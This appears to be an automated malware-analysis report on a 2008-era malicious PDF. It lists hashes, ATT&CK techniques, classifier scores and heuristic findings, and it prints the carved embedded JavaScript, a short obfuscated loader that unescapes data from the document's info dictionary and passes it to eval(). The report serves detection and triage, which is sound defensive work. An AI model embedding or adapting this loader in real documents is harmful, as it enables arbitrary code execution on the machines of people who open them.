PDF malware analysis — malicious · 7b7e3ade8a54ac12

MALICIOUS

PDF

4.5 KB Created: 2008-09-24 19:47:56 Authoring application: Adobe (via Notepad)

MD5: 3b6c92fc4a6d1e8edfaaf13ba4b92973 SHA-1: 00ed9fbe46b2398afea27ff0a4290b4030d51bbd SHA-256: 7b7e3ade8a54ac12c0bd1e6ec0e49c625ab96c6992a19325cc714e4a6844f67d

148 Risk Score

Malware Insights

MITRE ATT&CK

T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that utilizes an eval() call on obfuscated data derived from the document's info dictionary. This pattern is indicative of an exploit attempting to execute arbitrary code, likely to download and run a secondary malicious payload. The ML classifier strongly suggests maliciousness, and the JavaScript exploit cluster heuristic confirms the presence of exploit code.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0006_000.js` `b40c78d184ee13f0511048d2d8bd834e2a5f2c076764719d62802f4f2f1eea7c`	pdf-javascript-stream	PDF /JS object 6 at offset 0xF55	136 bytes
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 1 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script KF7=24;if(app)KF7='';gPv=this;Iik6=unescape;g48j=gPv.info;KF7=Iik6('%'+KF7);yFNhv=g48j.Trailer.replace(/([A-Z])/g,KF7);eval(Iik6(yFNhv))

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